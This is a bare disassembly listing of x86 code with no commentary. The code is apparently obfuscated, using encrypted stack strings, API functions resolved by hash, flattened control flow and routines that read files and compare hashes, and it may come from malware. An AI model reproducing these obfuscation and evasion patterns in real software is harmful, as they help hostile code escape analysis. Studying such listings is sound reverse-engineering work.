mov byte [edi], 0
mov dword [esp + 0x5c], 0xcdcecfbf
mov dword [esp + 0x60], 0xc1d1d6cb
mov dword [esp + 0x64], 0xfcc8c6cf
mov dword [esp + 0x68], 0xeafe9eb9
mov dword [esp + 0x6c], 0x95bff0ef
mov dword [esp + 0x70], 0xfbe5fef1
mov dword [esp + 0x74], 0xd1f2b9f1
mov word [esp + 0x78], 0x5bec
mov dword [esp + 0x7a], 0
mov word [esp + 0x7e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x5c]
lea ecx, [eax + 0x15]
mov esi, 0x2a
sub esi, eax
and esi, 0x2a
and ecx, 0x55
or ecx, esi
xor ecx, 0xaa
or ecx, edx
not edx
mov esi, 0x6a
sub esi, eax
or esi, edx
lea edx, [esi + esi]
not edx
add edx, esi
and esi, 0xbc
and edx, 0x43
or edx, esi
xor edx, ecx
xor dl, 0xbc
add dl, 0x17
mov byte [esp + eax + 0x5c], dl
mov ecx, eax
and ecx, 0x32
xor eax, 0x9d8c10f2
lea eax, [eax + ecx*2]
add eax, 0x6273ef0f
cmp eax, 0x24
jb 0x426050
mov esi, dword [esp + 0x34]
sub edi, esi
lea eax, [esp + 0x5c]
mov ecx, dword [ebp + 8]
push edi
push esi
push eax
call fcn.0040d360
mov dword [esp + 0x28], eax
mov eax, dword [case.0x425b38.18]
nop
nop
nop
jmp eax
jmp dword [0x448dd0]
jmp dword [0x448ddc]
mov ebx, dword [esp + 0x28]
and bl, 1
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
test esi, esi
je case.0x42501a.11
cmp esi, edi
je case.0x42501a.11
push esi
call fcn.0040c8d0
add esp, 4
lea ecx, [esp + 0x40]
call fcn.0043a770
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push esi
call fcn.0040c8d0
add esp, 4
push esi
call fcn.0040c8d0
add esp, 4
jmp dword [0x448de0]
int3
push eax
sub esp, 0x18
mov eax, esp
sub esp, 0x54
mov ecx, esp
mov dword [eax], 0x13841159
mov dword [eax + 4], 0x1f821d8f
mov dword [eax + 8], 0x1b8e1979
mov dword [eax + 0xc], 0x7760590
mov dword [eax + 0x10], 0x39e0161
mov dword [eax + 0x14], 0xf0e0d64
mov word [eax + 0x18], 0
mov byte [eax + 0x1a], 0
mov edx, 0x54225a04
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + edx - 0x54225a04]
xor ebx, edx
mov esi, ebx
not esi
and esi, 0x15
and ebx, 0xea
sub ebx, esi
inc bl
mov byte [eax + edx - 0x54225a04], bl
inc edx
cmp edx, 0x54225a1f
jne 0x426190
mov dword [ecx], 0xd11ccf10
mov dword [ecx + 4], 0xd51bd317
mov dword [ecx + 8], 0xd903d71f
mov dword [ecx + 0xc], 0xdd08db0c
mov dword [ecx + 0x10], 0xa102df07
mov dword [ecx + 0x14], 0xa561a36f
mov dword [ecx + 0x18], 0xa96ea761
mov dword [ecx + 0x1c], 0xad64ab63
mov dword [ecx + 0x20], 0xb172af6b
mov dword [ecx + 0x24], 0xb563b365
mov dword [ecx + 0x28], 0xb962b772
mov dword [ecx + 0x2c], 0xbd79bb61
mov dword [ecx + 0x30], 0x8179bf6e
mov dword [ecx + 0x34], 0x8554835c
mov dword [ecx + 0x38], 0x892a8727
mov dword [ecx + 0x3c], 0x8d2d8b3e
mov dword [ecx + 0x40], 0x915b8f50
mov dword [ecx + 0x44], 0x95359324
mov dword [ecx + 0x48], 0x99399737
mov word [ecx + 0x4c], 0x9b98
mov dword [ecx + 0x4e], 0
xor edx, edx
nop
nop
mov ebx, edx
add bl, 0x2d
xor bl, byte [ecx + edx]
add bl, 0x1f
mov byte [ecx + edx], bl
add edx, 0x8aaccc7f
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
add edx, 0x75533381
cmp edx, 0x52
jb 0x426250
push eax
push ecx
call fcn.004383e0
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
sub esp, 0x18
mov eax, esp
sub esp, 0x54
mov ecx, esp
sub esp, 0xc
mov dword [ebp - 0x28], esp
sub esp, 0x28
mov edi, esp
sub esp, 0x30
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x10], esp
sub esp, 0x24
mov dword [ebp - 0x34], esp
sub esp, 0x40
mov dword [ebp - 0x48], esp
sub esp, 0x44
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x38], esp
sub esp, 0x28
mov dword [ebp - 0x30], esp
sub esp, 8
mov dword [ebp - 0x60], esp
sub esp, 8
mov dword [ebp - 0x6c], esp
sub esp, 8
mov dword [ebp - 0x50], esp
sub esp, 0x24
mov dword [ebp - 0x44], esp
mov dword [eax], 0x13841159
mov dword [eax + 4], 0x1f821d8f
mov dword [eax + 8], 0x1b8e1979
mov dword [eax + 0xc], 0x7760590
mov dword [eax + 0x10], 0x39e0161
mov dword [eax + 0x14], 0xf0e0d64
mov word [eax + 0x18], 0
mov byte [eax + 0x1a], 0
mov edx, 0x54225a04
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + edx - 0x54225a04]
xor ebx, edx
mov esi, ebx
not esi
and esi, 0x15
and ebx, 0xea
sub ebx, esi
inc bl
mov byte [eax + edx - 0x54225a04], bl
inc edx
cmp edx, 0x54225a1f
jne 0x426330
mov dword [ecx], 0xd11ccf10
mov dword [ecx + 4], 0xd51bd317
mov dword [ecx + 8], 0xd903d71f
mov dword [ecx + 0xc], 0xdd08db0c
mov dword [ecx + 0x10], 0xa102df07
mov dword [ecx + 0x14], 0xa561a36f
mov dword [ecx + 0x18], 0xa96ea761
mov dword [ecx + 0x1c], 0xad64ab63
mov dword [ecx + 0x20], 0xb172af6b
mov dword [ecx + 0x24], 0xb563b365
mov dword [ecx + 0x28], 0xb962b772
mov dword [ecx + 0x2c], 0xbd79bb61
mov dword [ecx + 0x30], 0x8179bf6e
mov dword [ecx + 0x34], 0x8554835c
mov dword [ecx + 0x38], 0x892a8727
mov dword [ecx + 0x3c], 0x8d2d8b3e
mov dword [ecx + 0x40], 0x915b8f50
mov dword [ecx + 0x44], 0x95359324
mov dword [ecx + 0x48], 0x99399737
mov word [ecx + 0x4c], 0x9b98
mov dword [ecx + 0x4e], 0
xor edx, edx
nop
nop
mov ebx, edx
add bl, 0x2d
xor bl, byte [ecx + edx]
add bl, 0x1f
mov byte [ecx + edx], bl
add edx, 0x8aaccc7f
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
add edx, 0x75533381
cmp edx, 0x52
jb 0x4263f0
push eax
push ecx
call fcn.004383e0
add esp, 8
jmp dword [0x448df4]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x448df8]
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 8], 0
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x426460
mov edx, ecx
sar edx, 1
and ecx, 0x26
xor edx, 0x13
add edx, ecx
jns 0x42648a
mov dword [ebp - 0x24], eax
mov edx, 0xffffffff
jmp 0x42648f
xor ebx, ebx
jmp 0x42735b
mov dword [ebp - 0x24], eax
add edx, edx
push edx
call fcn.0040c8c0
add esp, 4
mov dword [ebp - 0x2c], eax
mov dword [edi], 0x2381218c
mov dword [edi + 4], 0x2798259b
mov dword [edi + 8], 0x3b83399e
mov dword [edi + 0xc], 0x3f923d9b
mov dword [edi + 0x10], 0x338d3193
mov dword [edi + 0x14], 0x3790358a
mov dword [edi + 0x18], 0xbad09b1
mov dword [edi + 0x1c], 0xfb80d72
mov dword [edi + 0x20], 0x3a401a4
mov dword [edi + 0x24], 0x504
mov edx, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [edi + edx - 8]
mov ebx, eax
mov esi, edi
mov edi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x7d
mul cl
mov ecx, eax
mov eax, edi
mov edi, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xd8
mov byte [esi + edx - 8], al
inc edx
cmp edx, 0x30
jne 0x4264f0
mov esi, dword [ebp - 0x24]
movzx ecx, word [esi]
mov ebx, dword [ebp - 0x2c]
mov eax, ebx
test cx, cx
je 0x426561
mov edx, esi
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x426550
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
mov ebx, dword [ebp - 0x18]
je 0x426591
add edi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x426580
mov word [eax], 0
jmp dword [0x448e00]
jmp dword [0x448e0c]
jmp dword [0x448eb8]
cmp dword [ecx + 0x18], 3
mov ebx, 0
jne 0x4265b0
mov ebx, dword [ecx + 0x10]
jmp 0x4265b0
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x38], ecx
mov eax, dword [ecx]
mov dword [ebp - 0x20], eax
test eax, eax
setne al
test ebx, ebx
setne cl
and cl, al
movzx eax, cl
mov ecx, ebx
jmp dword [eax*4 + 0x448ec0]
mov ecx, dword [ebp - 0x38]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov esi, dword [ebp - 0x14]
jmp dword [eax*4 + 0x448ea8]
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.0x42697e.8
sub eax, ebx
inc eax
mov esi, eax
shr esi, 1
and eax, 2
mov ecx, esi
xor ecx, 1
add ecx, eax
push ecx
call fcn.0040c8c0
add esp, 4
mov ecx, ebx
jmp dword [0x448ed4]
mov ecx, dword [case.0x42697e.15]
mov dword [ebp - 0x30], eax
jmp case.0x42697e.13
inc ebx
mov eax, dword [ebp - 0x18]
mov byte [eax], cl
inc eax
mov ecx, dword [case.0x42697e.15]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
movsx edx, byte [ebx]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x448ee8]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x426680
mov ecx, 0xffffffff
or edx, 0x20
lea edi, [edx - 0x61]
cmp edi, 6
mov dword [ebp - 0x18], eax
jae case.default.0x42669e
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [ebx + 1]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x448ef0]
lea edi, [edx - 0x30]
cmp edi, 0xa
jb 0x4266b2
mov edi, 0xffffffff
or edx, 0x20
lea eax, [edx - 0x61]
cmp eax, 6
jae 0x4266c2
add edx, 0xffffffa9
mov edi, edx
mov eax, dword [ebp - 0x18]
shl ecx, 4
or ecx, edi
add ebx, 2
jmp 0x426649
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [ebp - 0x20]
call fcn.004291c0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
xor ebx, ebx
xor edx, edx
mov dword [ebp - 0x48], eax
cmp ecx, eax
setne dl
jmp dword [edx*4 + 0x448ef8]
mov ebx, dword [ecx]
xor eax, eax
jmp dword [eax*4 + 0x448f08]
add ecx, 8
xor eax, eax
cmp ecx, dword [ebp - 0x48]
setne al
jmp dword [eax*4 + 0x448ef8]
mov eax, dword [ecx + 4]
mov edi, eax
shr edi, 0x1c
shl eax, 4
or eax, 1
xor edi, dword [ebp - 0x20]
xor eax, dword [ebp - 0x18]
xor edx, edx
or eax, edi
sete dl
jmp dword [edx*4 + 0x448f00]
mov eax, 1
jmp dword [eax*4 + 0x448f08]
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x448f10]
mov eax, dword [ebp - 0x30]
jmp dword [0x448f20]
mov eax, dword [ebp - 0x60]
mov dword [eax], esi
mov ecx, eax
mov eax, dword [ebp - 0x30]
mov dword [ecx + 4], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x4267db
mov edi, dword [ebp - 0x6c]
mov dword [edi], eax
mov dword [edi + 4], ebx
mov esi, dword [ebp - 0x50]
mov dword [esi], 0
mov dword [esi + 4], 0
push 0x14e20a34
push dword [0x44daa8]
call fcn.00440ed0
add esp, 8
push esi
push 1
push 0
push 0
push edi
push 0
push dword [ebp - 0x60]
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448f18]
mov eax, dword [ebp - 0x30]
jmp dword [0x448f20]
movzx eax, byte [ebx]
test al, al
je 0x42680d
inc ebx
mov ecx, dword [ebp - 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x426800
jmp 0x426810
mov ecx, dword [ebp - 0x14]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov ecx, dword [ebp - 0x50]
mov esi, dword [ecx]
test esi, esi
je 0x42684b
mov ecx, dword [ecx + 4]
mov edi, esi
and edi, 3
je 0x42684f
xor ebx, ebx
nop
movzx edx, byte [ecx]
cmp dl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebx], dl
inc ebx
cmp edi, ebx
jne 0x426830
add eax, ebx
mov edx, esi
sub edx, ebx
mov edi, eax
jmp 0x426851
mov esi, eax
jmp 0x426899
mov edx, esi
cmp esi, 4
mov esi, edi
jb 0x426899
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x426860
mov byte [esi], 0xa
inc esi
mov dword [ebp - 0x14], esi
push 0xbe5098bb
push dword [0x44da90]
call fcn.00440ed0
add esp, 8
mov ecx, dword [ebp - 0x50]
push dword [ecx + 4]
call eax
mov al, 1
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
jmp dword [0x448f20]
push eax
call fcn.0040c8d0
add esp, 4
mov ecx, dword [ebp - 0x38]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov esi, dword [ebp - 0x14]
jmp dword [eax*4 + 0x448ea8]
mov edx, dword [ebp - 0x30]
mov dword [edx], 0x9faca643
mov dword [edx + 4], 0xd2dccce3
mov dword [edx + 8], 0xdfcbc71f
mov dword [edx + 0xc], 0x3411d8ea
mov dword [edx + 0x10], 0xd6c3dcec
mov dword [edx + 0x14], 0xc9c93e0b
mov dword [edx + 0x18], 0xf7d9c4ce
mov dword [edx + 0x1c], 0xcfd5d437
mov word [edx + 0x20], 0x71cd
mov dword [edx + 0x22], 0
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, esi
xor eax, 0x43
mov ecx, esi
or ecx, 0x3c
and ecx, eax
mov eax, esi
xor eax, 0xbc
lea eax, [eax + ecx*2]
xor al, byte [edx + esi]
add al, 0x54
mov byte [edx + esi], al
inc esi
cmp esi, 0x26
jne case.default.0x42697e
mov ecx, dword [ebp - 0x24]
push edx
call fcn.00428f90
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x1c], 0
mov esi, dword [ebp - 0x10]
jmp dword [ecx*4 + 0x448ea0]
add eax, 8
mov dword [ebp - 0x1c], 0
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
mov esi, dword [ebp - 0x10]
jmp dword [eax*4 + 0x448ea8]
jmp case.0x42434d.166
xor ebx, ebx
jmp dword [0x448f28]
mov edi, dword [ebp - 0x24]
mov ecx, edi
call fcn.00429120
push edi
call fcn.0040c8d0
add esp, 4
mov edi, dword [ebp - 0x54]
jmp dword [0x448f40]
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.0040c8c0
add esp, 4
push 0
push esi
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x5c], eax
push eax
push dword [esi]
call fcn.00441e00
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448e30]
mov esi, dword [edi]
mov edi, dword [ebp - 0x5c]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c8c0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x58], eax
mov ecx, eax
push esi
push edi
call fcn.00428d50
movzx eax, al
jmp dword [eax*4 + 0x448e38]
mov ebx, dword [ebp - 0x34]
mov dword [ebx], 0xcfdcc6a3
mov dword [ebx + 4], 0xd2ccdcc3
mov dword [ebx + 8], 0xcfdba78f
mov dword [ebx + 0xc], 0x94b1e8fa
mov dword [ebx + 0x10], 0xf6e3ecfc
mov dword [ebx + 0x14], 0xeced8cbb
mov dword [ebx + 0x18], 0xf7fcf4ff
mov word [ebx + 0x1c], 0x55e7
mov dword [ebx + 0x1e], 0
xor eax, eax
xor ecx, ecx
nop
movzx esi, byte [ebx + ecx]
mov edi, eax
and edi, 0x28
mov edx, ecx
xor edx, 0x34216114
add edx, edi
mov edi, edx
and edi, esi
add edx, esi
add edi, edi
sub edx, edi
add dl, 0x9c
mov byte [ebx + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x22
jne case.default.0x426acf
mov ecx, dword [ebp - 0x58]
push ebx
call fcn.00428f90
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ebp - 0x28]
jmp dword [ecx*4 + 0x448e40]
mov eax, dword [case.0x425b38.46]
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [ebp - 0x20]
jmp dword [0x448e60]
mov edi, dword [ebp - 0x58]
mov ecx, edi
call fcn.00429120
push edi
call fcn.0040c8d0
add esp, 4
jmp dword [0x448e68]
jmp dword [0x448e68]
push dword [ebp - 0x5c]
call fcn.0040c8d0
add esp, 4
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0x7c7d7a7b
mov word [ebp - 0x3c], 0
mov byte [ebp - 0x3a], 0
xor esi, esi
xor edx, edx
nop
movzx ecx, byte [ebp + edx - 0x40]
mov dword [ebp - 0x20], ecx
mov eax, edx
xor eax, 0x6406dfbd
mov edi, esi
and edi, 4
sub edi, eax
lea ebx, [edi + 0xa7]
and ebx, ecx
mov ecx, ebx
and ecx, 0xfffffffd
mov eax, ebx
or eax, 0xfd
inc eax
imul eax, ecx
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
sub eax, ebx
mov ecx, dword [ebp - 0x20]
add ecx, edi
add ecx, 0xa7
add ecx, eax
add cl, 0x6e
mov byte [ebp + edx - 0x40], cl
inc edx
add esi, 2
cmp edx, 7
jne 0x426b30
mov ecx, dword [0x44da9c]
test ecx, ecx
mov ebx, dword [ebp - 0x18]
je case.0x425b38.40
mov edx, dword [ebp - 0x40]
xor eax, eax
mov esi, dword [0x44daa0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + eax*8], 0xb62b8d10
je 0x426bc3
inc eax
cmp ecx, eax
jne 0x426bb0
jmp case.0x425b38.40
mov eax, dword [esi + eax*8 + 4]
cmp eax, edx
je case.0x425b38.40
push dword [ebp - 0x10]
push 1
push eax
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
jmp dword [0x448e70]
mov eax, dword [ebp - 0x28]
mov esi, dword [eax]
mov edi, dword [eax + 4]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x448e78]
sub edi, esi
sar edi, 3
imul eax, edi, 0x421
push eax
call fcn.0040c8c0
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x438e4165
mov dword [ebx + 4], 0x47a545ab
mov dword [ebx + 8], 0x4ba649a9
mov dword [ebx + 0xc], 0x4fde4d8d
mov dword [ebx + 0x10], 0x73b671e0
mov dword [ebx + 0x14], 0x77e27595
mov dword [ebx + 0x18], 0x7b5f7999
mov dword [ebx + 0x1c], 0x7f8d7d80
mov dword [ebx + 0x20], 0x638761f4
mov dword [ebx + 0x24], 0x678b6585
mov dword [ebx + 0x28], 0x6b866994
mov dword [ebx + 0x2c], 0x6f8d6d83
mov dword [ebx + 0x30], 0x13fe11f1
mov dword [ebx + 0x34], 0x1780153a
mov dword [ebx + 0x38], 0x1bfc19fc
mov eax, ebx
add eax, 0x3c
mov word [ebx + 0x3c], 0x1d1c
mov byte [ebx + 0x40], 0
mov word [ebx + 0x3e], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
xor edi, 0xb3d38bf0
mov esi, ecx
and esi, 0x1e
sub esi, edi
movzx edi, byte [ebx + edx]
xor esi, edi
mov edi, esi
xor edi, 0x7cde4451
and esi, 0x2030ae
add esi, esi
sub esi, edi
mov edi, esi
and edi, 1
xor esi, 1
lea ebx, [esi + edi*2]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], bl
mov ebx, dword [ebp - 0x18]
inc edx
add ecx, 2
cmp edx, 0x41
jne 0x426ca0
mov edx, dword [ebp - 0x48]
mov edi, edx
mov ecx, 0xf
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
mov edi, edx
add edi, 0x3c
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov esi, dword [ebp - 0x1c]
push esi
push 0
push 0
push 0x1e
push edx
push 0
call dword [0x44da98]
mov esi, dword [esi]
test esi, esi
jns 0x426d23
mov eax, 0xffffffff
jmp 0x426d26
lea eax, [esi + esi]
mov edi, dword [ebp - 0x44]
push eax
call fcn.0040c8c0
add esp, 4
mov ebx, eax
push dword [ebp - 0x1c]
push esi
push eax
push 0x1e
push dword [ebp - 0x48]
push 0
call dword [0x44da98]
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x54]
push esi
mov dword [ebp - 0x34], ebx
push ebx
call fcn.00441990
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448e80]
xor ebx, ebx
mov esi, dword [ebp - 0x10]
jmp dword [0x448f48]
push dword [ebp - 0x34]
call fcn.0040c8d0
add esp, 4
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x448f50]
mov ebx, esi
mov byte [esi], 0
mov dword [edi], 0x737e7949
mov dword [edi + 4], 0x77636a75
mov dword [edi + 8], 0x70747279
mov dword [edi + 0xc], 0x7e6e5237
mov dword [edi + 0x10], 0x4b2d6479
mov dword [edi + 0x14], 0x6177626f
mov dword [edi + 0x18], 0x9f622367
mov word [edi + 0x1c], 0x1560
mov dword [edi + 0x1e], 0
mov word [edi + 0x22], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
mov esi, eax
and esi, 4
mov edx, ecx
xor edx, 0x82
add edx, esi
xor dl, byte [edi + ecx]
add dl, 0x76
mov byte [edi + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x24
jne 0x426de0
mov eax, dword [ebp - 0x10]
sub ebx, eax
mov ecx, dword [ebp + 8]
push ebx
push eax
push edi
call fcn.0040d360
mov ebx, eax
jmp dword [0x448f58]
push dword [ebp - 0x10]
call fcn.0040c8d0
add esp, 4
and bl, 1
mov eax, dword [ebp - 0x28]
mov esi, dword [eax]
mov edi, dword [eax + 4]
test esi, esi
jne 0x427313
jmp 0x42735b
push 0
push dword [ebp - 0x38]
push dword [esi]
call fcn.00441d10
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [ebp - 0x1c], 0
mov edi, esi
mov esi, dword [ebp - 0x10]
jmp dword [eax*4 + 0x448e88]
mov eax, dword [ebp - 0x38]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.0040c8c0
add esp, 4
push 0
push esi
mov dword [ebp - 0x2c], eax
push eax
push dword [edi]
call fcn.00441e00
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x1c], 0
mov esi, dword [ebp - 0x10]
jmp dword [eax*4 + 0x448e90]
mov edi, dword [ebp - 0x54]
jmp dword [0x448f40]
push dword [ebp - 0x2c]
call fcn.0040c8d0
add esp, 4
mov dword [ebp - 0x14], esi
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x40], 0x7c7d7a7b
mov word [ebp - 0x3c], 0
mov byte [ebp - 0x3a], 0
xor ecx, ecx
nop
nop
nop
nop
mov dword [ebp - 0x18], ebx
movzx edx, byte [ebp + ecx - 0x40]
mov edi, ecx
xor edi, 0x6406dfbd
mov esi, ebx
and esi, 4
sub esi, edi
lea edi, [esi + 0xa7]
and edi, edx
mov eax, edi
and eax, 0xfffffffd
mov ebx, edi
or ebx, 0xfd
inc ebx
imul ebx, eax
mov eax, edi
and eax, 2
or edi, 2
imul edi, eax
sub ebx, edi
lea eax, [esi + edx]
add eax, 0xa7
add eax, ebx
mov ebx, dword [ebp - 0x18]
add al, 0x6e
mov byte [ebp + ecx - 0x40], al
inc ecx
add ebx, 2
cmp ecx, 7
jne 0x426ed0
mov ecx, dword [0x44da9c]
test ecx, ecx
mov ebx, dword [ebp - 0x1c]
je 0x426f68
mov edx, dword [ebp - 0x40]
xor esi, esi
mov edi, dword [0x44daa0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426f60
inc esi
cmp ecx, esi
jne 0x426f50
jmp 0x426f68
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426fe7
mov edi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x14]
jmp dword [0x448f48]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x448f50]
jmp dword [0x448f58]
mov eax, dword [ebp - 0x38]
mov esi, dword [eax]
mov edi, dword [ebp - 0x2c]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c8c0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x24], eax
mov ecx, eax
push esi
push edi
call fcn.00428d50
movzx eax, al
mov dword [ebp - 0x1c], 0
mov esi, dword [ebp - 0x10]
jmp dword [eax*4 + 0x448e98]
push dword [ebp - 0x20]
push 1
push ecx
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
mov edi, dword [ebp - 0x44]
mov esi, dword [ebp - 0x14]
jmp dword [0x448f48]
add eax, 8
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x448e48]
lea eax, [ecx + ecx]
not eax
add eax, ecx
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x24]
mov dword [edx + ecx + 4], eax
mov eax, dword [ebp - 0x4c]
add eax, 8
mov edx, dword [ebp - 0x28]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 0x68]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x448e48]
mov dword [ebp - 0x68], ecx
mov edi, dword [ecx]
mov esi, dword [edx]
mov eax, dword [edx + 4]
mov ebx, eax
sub ebx, esi
cmp eax, dword [edx + 8]
mov edx, eax
mov dword [ebp - 0x14], edi
jne 0x4270f5
mov dword [ebp - 0x4c], edx
mov ecx, ebx
sar ecx, 3
lea eax, [ecx + 1]
mov edi, ecx
shr edi, 1
add edi, ecx
cmp edi, eax
ja 0x427086
mov edi, eax
lea eax, [edi*8]
push eax
call fcn.0040c8c0
add esp, 4
mov dword [ebp - 0x24], eax
test esi, esi
je 0x4270de
mov dword [ebp - 0x10], edi
mov edx, dword [ebp - 0x4c]
cmp esi, edx
mov edi, dword [ebp - 0x24]
je 0x4270d2
xor eax, eax
nop
nop
nop
nop
mov ecx, dword [esi + eax]
mov dword [edi + eax], ecx
mov ecx, dword [esi + eax + 4]
mov dword [edi + eax + 4], ecx
mov dword [esi + eax], 0
lea ecx, [esi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x4270b0
push esi
call fcn.0040c8d0
add esp, 4
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x24]
mov dword [ecx], esi
lea edx, [esi + ebx]
mov dword [ecx + 4], edx
lea eax, [esi + edi*8]
mov dword [ecx + 8], eax
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
mov dword [esi + ebx], 0
mov dword [ebp - 0x34], ebx
mov dword [esi + ebx + 4], 0
xor eax, eax
nop
nop
nop
nop
cmp byte [edi + eax], 0
